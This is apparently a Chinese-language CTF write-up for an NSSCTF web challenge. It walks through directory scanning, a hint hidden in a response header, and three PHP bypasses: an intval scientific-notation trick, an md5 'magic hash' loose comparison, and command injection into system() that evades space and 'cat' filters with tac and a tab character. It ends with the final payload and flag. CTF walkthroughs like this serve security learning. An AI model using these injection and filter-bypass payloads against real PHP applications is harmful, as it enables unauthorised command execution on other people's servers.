

Hack me

1.dirsearch 扫到robots.txt

```
[15:01:09] Scanning:  
[15:01:17] 200 - 14B - /404.html  
[15:01:32] 200 - 41B - /index.php  
[15:01:32] 200 - 41B - /index.php/login/  
[15:01:39] 200 - 44B - /robots.txt  
[15:01:39] 403 - 312B - /server-status/  
[15:01:39] 403 - 311B - /server-status
```

2.可以看到有个.php文件，虽然不能访问但看看有没有什么线索

```
• ► curl http://node5.anna.nssctf.cn:29178/robots.txt  
User-agent: *  
Disallow: /fAke_f1agggg.php
```

有个假flag，但是在响应头可以看到有个提示

```
• ► curl http://node5.anna.nssctf.cn:29178/fAke_f1agggg.php -i  
HTTP/1.1 200 OK  
Date: Mon, 12 Jan 2026 07:07:38 GMT  
Server: Apache/2.4.25 (Debian)  
X-Powered-By: PHP/5.6.40  
look_at_me: /f14g.php  
Content-Length: 22  
Content-Type: text/html; charset=UTF-8  
  
flag{this_is_not_flag} ↵
```

访问后是一个新挑战

```

header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
}

```

3.第一关payload : num=1e5

intval不会解析e，intval("1e5")会是1
在1e5+1后，自动转化数字，成100001，所以得以绕过

我不经意间看了看我的劳力士, 不是想看时间, 只是去非洲吧

4.第二关payload : md5=0e215962017

这md5后前面依然时0e，记一下就行

我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两
酒, 致富有道, 别学小暴.
去非洲吧

5.第三关过滤了点东西，空格，cat，基本绕过

```
get_flag=tac%09faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
```

```
' ' --+
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag, " ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里，我充实而欣慰，有钱人的快乐往往就是这么的朴实无华，且枯燥.<br>
        system($get_flag);
    }else{
        die("快到非洲了");
}
```

最终payload

```
?
num=1e5&md5=0e215962017&get_flag=tac%09faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
```

NSSCTF{355a6e8d-d618-4c9d-ad07-b845f709181b}

